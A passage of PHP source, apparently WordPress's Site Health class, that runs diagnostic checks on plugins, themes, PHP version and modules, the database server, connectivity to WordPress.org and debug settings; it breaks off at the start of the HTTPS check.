						'Your site has %d plugins waiting to be updated.',
						$plugins_need_update
					),
					$plugins_need_update
				)
			);

			$result['actions'] .= sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( network_admin_url( 'plugins.php?plugin_status=upgrade' ) ),
				__( 'Update your plugins' )
			);
		} else {
			if ( 1 === $plugins_active ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site has 1 active plugin, and it is up to date.' )
				);
			} elseif ( $plugins_active > 0 ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %d: The number of active plugins. */
						_n(
							'Your site has %d active plugin, and it is up to date.',
							'Your site has %d active plugins, and they are all up to date.',
							$plugins_active
						),
						$plugins_active
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site does not have any active plugins.' )
				);
			}
		}

		// Check if there are inactive plugins.
		if ( $plugins_total > $plugins_active && ! is_multisite() ) {
			$unused_plugins = $plugins_total - $plugins_active;

			$result['status'] = 'recommended';

			$result['label'] = __( 'You should remove inactive plugins' );

			$result['description'] .= sprintf(
				'<p>%s %s</p>',
				sprintf(
					/* translators: %d: The number of inactive plugins. */
					_n(
						'Your site has %d inactive plugin.',
						'Your site has %d inactive plugins.',
						$unused_plugins
					),
					$unused_plugins
				),
				__( 'Inactive plugins are tempting targets for attackers. If you are not going to use a plugin, you should consider removing it.' )
			);

			$result['actions'] .= sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'plugins.php?plugin_status=inactive' ) ),
				__( 'Manage inactive plugins' )
			);
		}

		return $result;
	}

	/**
	 * Tests if themes are outdated, or unnecessary.
	 *
	 * Checks if your site has a default theme (to fall back on if there is a need),
	 * if your themes are up to date and, finally, encourages you to remove any themes
	 * that are not needed.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_theme_version() {
		$result = array(
			'label'       => __( 'Your themes are all up to date' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Themes add your site&#8217;s look and feel. It&#8217;s important to keep them up to date, to stay consistent with your brand and keep your site secure.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'themes.php' ) ),
				__( 'Manage your themes' )
			),
			'test'        => 'theme_version',
		);

		$theme_updates = get_theme_updates();

		$themes_total        = 0;
		$themes_need_updates = 0;
		$themes_inactive     = 0;

		// This value is changed during processing to determine how many themes are considered a reasonable amount.
		$allowed_theme_count = 1;

		$has_default_theme   = false;
		$has_unused_themes   = false;
		$show_unused_themes  = true;
		$using_default_theme = false;

		// Populate a list of all themes available in the install.
		$all_themes   = wp_get_themes();
		$active_theme = wp_get_theme();

		// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
		$default_theme = wp_get_theme( WP_DEFAULT_THEME );
		if ( ! $default_theme->exists() ) {
			$default_theme = WP_Theme::get_core_default_theme();
		}

		if ( $default_theme ) {
			$has_default_theme = true;

			if (
				$active_theme->get_stylesheet() === $default_theme->get_stylesheet()
			||
				is_child_theme() && $active_theme->get_template() === $default_theme->get_template()
			) {
				$using_default_theme = true;
			}
		}

		foreach ( $all_themes as $theme_slug => $theme ) {
			++$themes_total;

			if ( array_key_exists( $theme_slug, $theme_updates ) ) {
				++$themes_need_updates;
			}
		}

		// If this is a child theme, increase the allowed theme count by one, to account for the parent.
		if ( is_child_theme() ) {
			++$allowed_theme_count;
		}

		// If there's a default theme installed and not in use, we count that as allowed as well.
		if ( $has_default_theme && ! $using_default_theme ) {
			++$allowed_theme_count;
		}

		if ( $themes_total > $allowed_theme_count ) {
			$has_unused_themes = true;
			$themes_inactive   = ( $themes_total - $allowed_theme_count );
		}

		// Check if any themes need to be updated.
		if ( $themes_need_updates > 0 ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'You have themes waiting to be updated' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %d: The number of outdated themes. */
					_n(
						'Your site has %d theme waiting to be updated.',
						'Your site has %d themes waiting to be updated.',
						$themes_need_updates
					),
					$themes_need_updates
				)
			);
		} else {
			// Give positive feedback about the site being good about keeping things up to date.
			if ( 1 === $themes_total ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site has 1 installed theme, and it is up to date.' )
				);
			} elseif ( $themes_total > 0 ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %d: The number of themes. */
						_n(
							'Your site has %d installed theme, and it is up to date.',
							'Your site has %d installed themes, and they are all up to date.',
							$themes_total
						),
						$themes_total
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your site does not have any installed themes.' )
				);
			}
		}

		if ( $has_unused_themes && $show_unused_themes && ! is_multisite() ) {

			// This is a child theme, so we want to be a bit more explicit in our messages.
			if ( $active_theme->parent() ) {
				// Recommend removing inactive themes, except a default theme, your current one, and the parent theme.
				$result['status'] = 'recommended';

				$result['label'] = __( 'You should remove inactive themes' );

				if ( $using_default_theme ) {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: %d: The number of inactive themes. */
							_n(
								'Your site has %d inactive theme.',
								'Your site has %d inactive themes.',
								$themes_inactive
							),
							$themes_inactive
						),
						sprintf(
							/* translators: 1: The currently active theme. 2: The active theme's parent theme. */
							__( 'To enhance your site&#8217;s security, you should consider removing any themes you are not using. You should keep your active theme, %1$s, and %2$s, its parent theme.' ),
							$active_theme->name,
							$active_theme->parent()->name
						)
					);
				} else {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: %d: The number of inactive themes. */
							_n(
								'Your site has %d inactive theme.',
								'Your site has %d inactive themes.',
								$themes_inactive
							),
							$themes_inactive
						),
						sprintf(
							/* translators: 1: The default theme for WordPress. 2: The currently active theme. 3: The active theme's parent theme. */
							__( 'To enhance your site&#8217;s security, you should consider removing any themes you are not using. You should keep %1$s, the default WordPress theme, %2$s, your active theme, and %3$s, its parent theme.' ),
							$default_theme ? $default_theme->name : WP_DEFAULT_THEME,
							$active_theme->name,
							$active_theme->parent()->name
						)
					);
				}
			} else {
				// Recommend removing all inactive themes.
				$result['status'] = 'recommended';

				$result['label'] = __( 'You should remove inactive themes' );

				if ( $using_default_theme ) {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: 1: The amount of inactive themes. 2: The currently active theme. */
							_n(
								'Your site has %1$d inactive theme, other than %2$s, your active theme.',
								'Your site has %1$d inactive themes, other than %2$s, your active theme.',
								$themes_inactive
							),
							$themes_inactive,
							$active_theme->name
						),
						__( 'You should consider removing any unused themes to enhance your site&#8217;s security.' )
					);
				} else {
					$result['description'] .= sprintf(
						'<p>%s %s</p>',
						sprintf(
							/* translators: 1: The amount of inactive themes. 2: The default theme for WordPress. 3: The currently active theme. */
							_n(
								'Your site has %1$d inactive theme, other than %2$s, the default WordPress theme, and %3$s, your active theme.',
								'Your site has %1$d inactive themes, other than %2$s, the default WordPress theme, and %3$s, your active theme.',
								$themes_inactive
							),
							$themes_inactive,
							$default_theme ? $default_theme->name : WP_DEFAULT_THEME,
							$active_theme->name
						),
						__( 'You should consider removing any unused themes to enhance your site&#8217;s security.' )
					);
				}
			}
		}

		// If no default Twenty* theme exists.
		if ( ! $has_default_theme ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'Have a default theme available' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				__( 'Your site does not have any default theme. Default themes are used by WordPress automatically if anything is wrong with your chosen theme.' )
			);
		}

		return $result;
	}

	/**
	 * Tests if the supplied PHP version is supported.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_php_version() {
		$response = wp_check_php_version();

		$result = array(
			'label'       => sprintf(
				/* translators: %s: The current PHP version. */
				__( 'Your site is running the current version of PHP (%s)' ),
				PHP_VERSION
			),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The minimum recommended PHP version. */
					__( 'PHP is one of the programming languages used to build WordPress. Newer versions of PHP receive regular security updates and may increase your site&#8217;s performance. The minimum recommended version of PHP is %s.' ),
					$response ? $response['recommended_version'] : ''
				)
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				esc_url( wp_get_update_php_url() ),
				__( 'Learn more about updating PHP' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'php_version',
		);

		// PHP is up to date.
		if ( ! $response || version_compare( PHP_VERSION, $response['recommended_version'], '>=' ) ) {
			return $result;
		}

		// The PHP version is older than the recommended version, but still receiving active support.
		if ( $response['is_supported'] ) {
			$result['label'] = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an older version of PHP (%s)' ),
				PHP_VERSION
			);
			$result['status'] = 'recommended';

			return $result;
		}

		/*
		 * The PHP version is still receiving security fixes, but is lower than
		 * the expected minimum version that will be required by WordPress in the near future.
		 */
		if ( $response['is_secure'] && $response['is_lower_than_future_minimum'] ) {
			// The `is_secure` array key name doesn't actually imply this is a secure version of PHP. It only means it receives security updates.

			$result['label'] = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which soon will not be supported by WordPress.' ),
				PHP_VERSION
			);

			$result['status']         = 'critical';
			$result['badge']['label'] = __( 'Requirements' );

			return $result;
		}

		// The PHP version is only receiving security fixes.
		if ( $response['is_secure'] ) {
			$result['label'] = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an older version of PHP (%s), which should be updated' ),
				PHP_VERSION
			);
			$result['status'] = 'recommended';

			return $result;
		}

		// No more security updates for the PHP version, and lower than the expected minimum version required by WordPress.
		if ( $response['is_lower_than_future_minimum'] ) {
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates and soon will not be supported by WordPress.' ),
				PHP_VERSION
			);
		} else {
			// No more security updates for the PHP version, must be updated.
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates. It should be updated.' ),
				PHP_VERSION
			);
		}

		$result['label']  = $message;
		$result['status'] = 'critical';

		$result['badge']['label'] = __( 'Security' );

		return $result;
	}

	/**
	 * Checks if the passed extension or function are available.
	 *
	 * Make the check for available PHP modules into a simple boolean operator for a cleaner test runner.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 The `$constant_name` and `$class_name` parameters were added.
	 *
	 * @param string $extension_name Optional. The extension name to test. Default null.
	 * @param string $function_name  Optional. The function name to test. Default null.
	 * @param string $constant_name  Optional. The constant name to test for. Default null.
	 * @param string $class_name     Optional. The class name to test for. Default null.
	 * @return bool Whether or not the extension and function are available.
	 */
	private function test_php_extension_availability( $extension_name = null, $function_name = null, $constant_name = null, $class_name = null ) {
		// If no extension or function is passed, claim to fail testing, as we have nothing to test against.
		if ( ! $extension_name && ! $function_name && ! $constant_name && ! $class_name ) {
			return false;
		}

		if ( $extension_name && ! extension_loaded( $extension_name ) ) {
			return false;
		}

		if ( $function_name && ! function_exists( $function_name ) ) {
			return false;
		}

		if ( $constant_name && ! defined( $constant_name ) ) {
			return false;
		}

		if ( $class_name && ! class_exists( $class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Tests if required PHP modules are installed on the host.
	 *
	 * This test builds on the recommendations made by the WordPress Hosting Team
	 * as seen at https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions
	 *
	 * @since 5.2.0
	 *
	 * @return array
	 */
	public function get_test_php_extensions() {
		$result = array(
			'label'       => __( 'Required and recommended modules are installed' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p><p>%s</p>',
				__( 'PHP modules perform most of the tasks on the server that make your site run. Any changes to these must be made by your server administrator.' ),
				sprintf(
					/* translators: 1: Link to the hosting group page about recommended PHP modules. 2: Additional link attributes. 3: Accessibility text. */
					__( 'The WordPress Hosting Team maintains a list of those modules, both recommended and required, in <a href="%1$s" %2$s>the team handbook%3$s</a>.' ),
					/* translators: Localized team handbook, if one exists. */
					esc_url( __( 'https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions' ) ),
					'target="_blank" rel="noopener"',
					sprintf(
						'<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span>',
						/* translators: Hidden accessibility text. */
						__( '(opens in a new tab)' )
					)
				)
			),
			'actions'     => '',
			'test'        => 'php_extensions',
		);

		$modules = array(
			'curl'      => array(
				'function' => 'curl_version',
				'required' => false,
			),
			'dom'       => array(
				'class'    => 'DOMNode',
				'required' => false,
			),
			'exif'      => array(
				'function' => 'exif_read_data',
				'required' => false,
			),
			'fileinfo'  => array(
				'function' => 'finfo_file',
				'required' => false,
			),
			'hash'      => array(
				'function' => 'hash',
				'required' => false,
			),
			'imagick'   => array(
				'extension' => 'imagick',
				'required'  => false,
			),
			'json'      => array(
				'function' => 'json_last_error',
				'required' => true,
			),
			'mbstring'  => array(
				'function' => 'mb_check_encoding',
				'required' => false,
			),
			'mysqli'    => array(
				'function' => 'mysqli_connect',
				'required' => false,
			),
			'libsodium' => array(
				'constant'            => 'SODIUM_LIBRARY_VERSION',
				'required'            => false,
				'php_bundled_version' => '7.2.0',
			),
			'openssl'   => array(
				'function' => 'openssl_encrypt',
				'required' => false,
			),
			'pcre'      => array(
				'function' => 'preg_match',
				'required' => false,
			),
			'mod_xml'   => array(
				'extension' => 'libxml',
				'required'  => false,
			),
			'zip'       => array(
				'class'    => 'ZipArchive',
				'required' => false,
			),
			'filter'    => array(
				'function' => 'filter_list',
				'required' => false,
			),
			'gd'        => array(
				'extension'    => 'gd',
				'required'     => false,
				'fallback_for' => 'imagick',
			),
			'iconv'     => array(
				'function' => 'iconv',
				'required' => false,
			),
			'intl'      => array(
				'extension' => 'intl',
				'required'  => false,
			),
			'mcrypt'    => array(
				'extension'    => 'mcrypt',
				'required'     => false,
				'fallback_for' => 'libsodium',
			),
			'simplexml' => array(
				'extension'    => 'simplexml',
				'required'     => false,
				'fallback_for' => 'mod_xml',
			),
			'xmlreader' => array(
				'extension'    => 'xmlreader',
				'required'     => false,
				'fallback_for' => 'mod_xml',
			),
			'zlib'      => array(
				'extension'    => 'zlib',
				'required'     => false,
				'fallback_for' => 'zip',
			),
		);

		/**
		 * Filters the array representing all the modules we wish to test for.
		 *
		 * @since 5.2.0
		 * @since 5.3.0 The `$constant` and `$class` parameters were added.
		 *
		 * @param array $modules {
		 *     An associative array of modules to test for.
		 *
		 *     @type array ...$0 {
		 *         An associative array of module properties used during testing.
		 *         One of either `$function` or `$extension` must be provided, or they will fail by default.
		 *
		 *         @type string $function     Optional. A function name to test for the existence of.
		 *         @type string $extension    Optional. An extension to check if is loaded in PHP.
		 *         @type string $constant     Optional. A constant name to check for to verify an extension exists.
		 *         @type string $class        Optional. A class name to check for to verify an extension exists.
		 *         @type bool   $required     Is this a required feature or not.
		 *         @type string $fallback_for Optional. The module this module replaces as a fallback.
		 *     }
		 * }
		 */
		$modules = apply_filters( 'site_status_test_php_modules', $modules );

		$failures = array();

		foreach ( $modules as $library => $module ) {
			$extension_name = ( isset( $module['extension'] ) ? $module['extension'] : null );
			$function_name  = ( isset( $module['function'] ) ? $module['function'] : null );
			$constant_name  = ( isset( $module['constant'] ) ? $module['constant'] : null );
			$class_name     = ( isset( $module['class'] ) ? $module['class'] : null );

			// If this module is a fallback for another function, check if that other function passed.
			if ( isset( $module['fallback_for'] ) ) {
				/*
				 * If that other function has a failure, mark this module as required for usual operations.
				 * If that other function hasn't failed, skip this test as it's only a fallback.
				 */
				if ( isset( $failures[ $module['fallback_for'] ] ) ) {
					$module['required'] = true;
				} else {
					continue;
				}
			}

			if ( ! $this->test_php_extension_availability( $extension_name, $function_name, $constant_name, $class_name )
				&& ( ! isset( $module['php_bundled_version'] )
					|| version_compare( PHP_VERSION, $module['php_bundled_version'], '<' ) )
			) {
				if ( $module['required'] ) {
					$result['status'] = 'critical';

					$class = 'error';
					/* translators: Hidden accessibility text. */
					$screen_reader = __( 'Error' );
					$message       = sprintf(
						/* translators: %s: The module name. */
						__( 'The required module, %s, is not installed, or has been disabled.' ),
						$library
					);
				} else {
					$class = 'warning';
					/* translators: Hidden accessibility text. */
					$screen_reader = __( 'Warning' );
					$message       = sprintf(
						/* translators: %s: The module name. */
						__( 'The optional module, %s, is not installed, or has been disabled.' ),
						$library
					);
				}

				if ( ! $module['required'] && 'good' === $result['status'] ) {
					$result['status'] = 'recommended';
				}

				$failures[ $library ] = "<span class='dashicons $class'><span class='screen-reader-text'>$screen_reader</span></span> $message";
			}
		}

		if ( ! empty( $failures ) ) {
			$output = '<ul>';

			foreach ( $failures as $failure ) {
				$output .= sprintf(
					'<li>%s</li>',
					$failure
				);
			}

			$output .= '</ul>';
		}

		if ( 'good' !== $result['status'] ) {
			if ( 'recommended' === $result['status'] ) {
				$result['label'] = __( 'One or more recommended modules are missing' );
			}
			if ( 'critical' === $result['status'] ) {
				$result['label'] = __( 'One or more required modules are missing' );
			}

			$result['description'] .= $output;
		}

		return $result;
	}

	/**
	 * Tests if the PHP default timezone is set to UTC.
	 *
	 * @since 5.3.1
	 *
	 * @return array The test results.
	 */
	public function get_test_php_default_timezone() {
		$result = array(
			'label'       => __( 'PHP default timezone is valid' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'PHP default timezone was configured by WordPress on loading. This is necessary for correct calculations of dates and times.' )
			),
			'actions'     => '',
			'test'        => 'php_default_timezone',
		);

		if ( 'UTC' !== date_default_timezone_get() ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'PHP default timezone is invalid' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: date_default_timezone_set() */
					__( 'PHP default timezone was changed after WordPress loading by a %s function call. This interferes with correct calculations of dates and times.' ),
					'<code>date_default_timezone_set()</code>'
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if there's an active PHP session that can affect loopback requests.
	 *
	 * @since 5.5.0
	 *
	 * @return array The test results.
	 */
	public function get_test_php_sessions() {
		$result = array(
			'label'       => __( 'No PHP sessions detected' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: session_start(), 2: session_write_close() */
					__( 'PHP sessions created by a %1$s function call may interfere with REST API and loopback requests. An active session should be closed by %2$s before making any HTTP requests.' ),
					'<code>session_start()</code>',
					'<code>session_write_close()</code>'
				)
			),
			'test'        => 'php_sessions',
		);

		if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'An active PHP session was detected' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: session_start(), 2: session_write_close() */
					__( 'A PHP session was created by a %1$s function call. This interferes with REST API and loopback requests. The session should be closed by %2$s before making any HTTP requests.' ),
					'<code>session_start()</code>',
					'<code>session_write_close()</code>'
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if the SQL server is up to date.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_sql_server() {
		if ( ! $this->mysql_server_version ) {
			$this->prepare_sql_data();
		}

		$result = array(
			'label'       => __( 'SQL server is up to date' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'The SQL server is a required piece of software for the database WordPress uses to store all your site&#8217;s content and settings.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				/* translators: Localized version of WordPress requirements if one exists. */
				esc_url( __( 'https://wordpress.org/about/requirements/' ) ),
				__( 'Learn more about what WordPress requires to run.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'sql_server',
		);

		$db_dropin = file_exists( WP_CONTENT_DIR . '/db.php' );

		if ( ! $this->is_recommended_mysql_version ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'Outdated SQL server' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: The database engine in use (MySQL or MariaDB). 2: Database server recommended version number. */
					__( 'For optimal performance and security reasons, you should consider running %1$s version %2$s or higher. Contact your web hosting company to correct this.' ),
					( $this->is_mariadb ? 'MariaDB' : 'MySQL' ),
					$this->mysql_recommended_version
				)
			);
		}

		if ( ! $this->is_acceptable_mysql_version ) {
			$result['status'] = 'critical';

			$result['label']          = __( 'Severely outdated SQL server' );
			$result['badge']['label'] = __( 'Security' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: The database engine in use (MySQL or MariaDB). 2: Database server minimum version number. */
					__( 'WordPress requires %1$s version %2$s or higher. Contact your web hosting company to correct this.' ),
					( $this->is_mariadb ? 'MariaDB' : 'MySQL' ),
					$this->mysql_required_version
				)
			);
		}

		if ( $db_dropin ) {
			$result['description'] .= sprintf(
				'<p>%s</p>',
				wp_kses(
					sprintf(
						/* translators: 1: The name of the drop-in. 2: The name of the database engine. */
						__( 'You are using a %1$s drop-in which might mean that a %2$s database is not being used.' ),
						'<code>wp-content/db.php</code>',
						( $this->is_mariadb ? 'MariaDB' : 'MySQL' )
					),
					array(
						'code' => true,
					)
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if the database server is capable of using utf8mb4.
	 *
	 * @since 5.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return array The test results.
	 */
	public function get_test_utf8mb4_support() {
		global $wpdb;

		if ( ! $this->mysql_server_version ) {
			$this->prepare_sql_data();
		}

		$result = array(
			'label'       => __( 'UTF8MB4 is supported' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'UTF8MB4 is the character set WordPress prefers for database storage because it safely supports the widest set of characters and encodings, including Emoji, enabling better support for non-English languages.' )
			),
			'actions'     => '',
			'test'        => 'utf8mb4_support',
		);

		if ( ! $this->is_mariadb ) {
			if ( version_compare( $this->mysql_server_version, '5.5.3', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a MySQL update' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: Version number. */
						__( 'WordPress&#8217; utf8mb4 support requires MySQL version %s or greater. Please contact your server administrator.' ),
						'5.5.3'
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your MySQL version supports utf8mb4.' )
				);
			}
		} else { // MariaDB introduced utf8mb4 support in 5.5.0.
			if ( version_compare( $this->mysql_server_version, '5.5.0', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a MariaDB update' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: Version number. */
						__( 'WordPress&#8217; utf8mb4 support requires MariaDB version %s or greater. Please contact your server administrator.' ),
						'5.5.0'
					)
				);
			} else {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'Your MariaDB version supports utf8mb4.' )
				);
			}
		}

		// phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_get_client_info
		$mysql_client_version = mysqli_get_client_info();

		/*
		 * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
		 * mysqlnd has supported utf8mb4 since 5.0.9.
		 */
		if ( str_contains( $mysql_client_version, 'mysqlnd' ) ) {
			$mysql_client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $mysql_client_version );
			if ( version_compare( $mysql_client_version, '5.0.9', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a newer client library' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: Name of the library, 2: Number of version. */
						__( 'WordPress&#8217; utf8mb4 support requires MySQL client library (%1$s) version %2$s or newer. Please contact your server administrator.' ),
						'mysqlnd',
						'5.0.9'
					)
				);
			}
		} else {
			if ( version_compare( $mysql_client_version, '5.5.3', '<' ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'utf8mb4 requires a newer client library' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: Name of the library, 2: Number of version. */
						__( 'WordPress&#8217; utf8mb4 support requires MySQL client library (%1$s) version %2$s or newer. Please contact your server administrator.' ),
						'libmysql',
						'5.5.3'
					)
				);
			}
		}

		return $result;
	}

	/**
	 * Tests if the site can communicate with WordPress.org.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_dotorg_communication() {
		$result = array(
			'label'       => __( 'Can communicate with WordPress.org' ),
			'status'      => '',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Communicating with the WordPress servers is used to check for new versions, and to both install and update WordPress core, themes or plugins.' )
			),
			'actions'     => '',
			'test'        => 'dotorg_communication',
		);

		$wp_dotorg = wp_remote_get(
			'https://api.wordpress.org',
			array(
				'timeout' => 10,
			)
		);
		if ( ! is_wp_error( $wp_dotorg ) ) {
			$result['status'] = 'good';
		} else {
			$result['status'] = 'critical';

			$result['label'] = __( 'Could not reach WordPress.org' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					'<span class="error"><span class="screen-reader-text">%s</span></span> %s',
					/* translators: Hidden accessibility text. */
					__( 'Error' ),
					sprintf(
						/* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */
						__( 'Your site is unable to reach WordPress.org at %1$s, and returned the error: %2$s' ),
						gethostbyname( 'api.wordpress.org' ),
						$wp_dotorg->get_error_message()
					)
				)
			);

			$result['actions'] = sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				/* translators: Localized Support reference. */
				esc_url( __( 'https://wordpress.org/support/forums/' ) ),
				__( 'Get help resolving this issue.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		}

		return $result;
	}

	/**
	 * Tests if debug information is enabled.
	 *
	 * When WP_DEBUG is enabled, errors and information may be disclosed to site visitors,
	 * or logged to a publicly accessible file.
	 *
	 * Debugging is also frequently left enabled after looking for errors on a site,
	 * as site owners do not understand the implications of this.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_is_in_debug_mode() {
		$result = array(
			'label'       => __( 'Your site is not set to output debug information' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Debug mode is often enabled to gather more details about an error or site failure, but may contain sensitive information which should not be available on a publicly available website.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				/* translators: Documentation explaining debugging in WordPress. */
				esc_url( __( 'https://wordpress.org/documentation/article/debugging-in-wordpress/' ) ),
				__( 'Learn more about debugging in WordPress.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'is_in_debug_mode',
		);

		if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
			if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
				$result['label'] = __( 'Your site is set to log errors to a potentially public file' );

				$result['status'] = str_starts_with( ini_get( 'error_log' ), ABSPATH ) ? 'critical' : 'recommended';

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: WP_DEBUG_LOG */
						__( 'The value, %s, has been added to this website&#8217;s configuration file. This means any errors on the site will be written to a file which is potentially available to all users.' ),
						'<code>WP_DEBUG_LOG</code>'
					)
				);
			}

			if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
				$result['label'] = __( 'Your site is set to display errors to site visitors' );

				$result['status'] = 'critical';

				// On development environments, set the status to recommended.
				if ( $this->is_development_environment() ) {
					$result['status'] = 'recommended';
				}

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: WP_DEBUG_DISPLAY, 2: WP_DEBUG */
						__( 'The value, %1$s, has either been enabled by %2$s or added to your configuration file. This will make errors display on the front end of your site.' ),
						'<code>WP_DEBUG_DISPLAY</code>',
						'<code>WP_DEBUG</code>'
					)
				);
			}
		}

		return $result;
	}

	/**
	 * Tests if the site is serving content over HTTPS.
	 *
	 * Many sites have varying degrees of HTTPS support, the most common of which is sites that have it
	 * enabled, but only if you visit the right site address.
	 *
	 * @since 5.2.0
	 * @since 5.7.0 Updated to rely on {@see wp_is_using_https()} and {@see wp_is_https_supported()}.
	 *
	 * @return array The test results.
	 */
	public function get_test_https_status() {
		/*
		 * Check HTTPS detection results.
		 */
		$errors = wp_get_https_detection_errors();

